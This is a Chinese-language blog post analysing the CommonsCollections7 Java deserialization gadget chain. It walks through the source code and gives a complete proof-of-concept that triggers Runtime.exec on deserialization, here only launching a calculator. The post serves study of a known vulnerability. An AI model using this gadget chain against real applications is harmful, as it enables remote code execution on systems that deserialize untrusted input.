1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 /* Payload method chain: java.util.Hashtable.readObject java.util.Hashtable.reconstitutionPut org.apache.commons.collections.map.AbstractMapDecorator.equals java.util.AbstractMap.equals org.apache.commons.collections.map.LazyMap.get org.apache.commons.collections.functors.ChainedTransformer.transform org.apache.commons.collections.functors.InvokerTransformer.transform java.lang.reflect.Method.invoke sun.reflect.DelegatingMethodAccessorImpl.invoke sun.reflect.NativeMethodAccessorImpl.invoke sun.reflect.NativeMethodAccessorImpl.invoke0 java.lang.Runtime.exec */
跟进java.util.Hashtable#readObject
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { for (; elements > 0 ; elements--) { @SuppressWarnings ("unchecked" ) K key = (K)s.readObject(); @SuppressWarnings ("unchecked" ) V value = (V)s.readObject(); reconstitutionPut(table, key, value); } }
跟进java.util.Hashtable#reconstitutionPut
,此处put的时候通过hashCode
和equals
判断是否存在hash冲突
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void reconstitutionPut (Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null ) { throw new java.io.StreamCorruptedException(); } int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF ) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java.io.StreamCorruptedException(); } } @SuppressWarnings ("unchecked" ) Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry<>(hash, key, value, e); count++; }
跟进org.apache.commons.collections.map.AbstractMapDecorator#equals
1 2 3 public boolean equals (Object object) { return object == this ? true : this .map.equals(object); }
跟进java.util.AbstractMap#equals
,可以看到此处又是LazyMap.get
,之后又是一样的操作了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public boolean equals (Object o) { if (o == this ) return true ; if (!(o instanceof Map)) return false ; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) return false ; try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null ) { if (!(m.get(key)==null && m.containsKey(key))) return false ; } else { if (!value.equals(m.get(key))) return false ; } } } catch (ClassCastException unused) { return false ; } catch (NullPointerException unused) { return false ; } return true ; }
POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 package CommonsCollections;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class CommonsCollections7 { public static void main (String[] args) throws Exception { Transformer Testtransformer = new ChainedTransformer(new Transformer[]{}); Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" ,new Class[]{String.class,Class[].class},new Object[]{"getRuntime" ,new Class[]{}}), new InvokerTransformer("invoke" ,new Class[]{Object.class,Object[].class},new Object[]{null ,new Object[]{}}), new InvokerTransformer("exec" ,new Class[]{String.class},new Object[]{"calc" }) }; Map map1=new HashMap(); Map map2=new HashMap(); Map lazyMap1= LazyMap.decorate(map1,Testtransformer); Map lazyMap2= LazyMap.decorate(map2,Testtransformer); lazyMap1.put("yy" ,1 ); lazyMap2.put("zZ" ,1 ); Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, 1 ); hashtable.put(lazyMap2, 2 ); lazyMap2.remove("yy" ); Field field = ChainedTransformer.class.getDeclaredField("iTransformers" ); field.setAccessible(true ); field.set(Testtransformer, transformers); ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out" )); outputStream.writeObject(hashtable); outputStream.close(); ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out" )); inputStream.readObject(); } }
这里需要注意的是我们加了一行这个代码:lazyMap2.remove("yy");
,因为org.apache.commons.collections.map.LazyMap#get
的时候会进行put操作,所以此时会多出一个yy
的元素,所以需要将其移除,否则无法正常反序列化
image.png
总结 貌似没啥好总结的感觉挺水的,CommonsCollections1-7
的链调试一下ysoserial
应该基本都能看懂.jpg
Reference https://www.freebuf.com/articles/web/214096.html
https://xz.aliyun.com/t/7157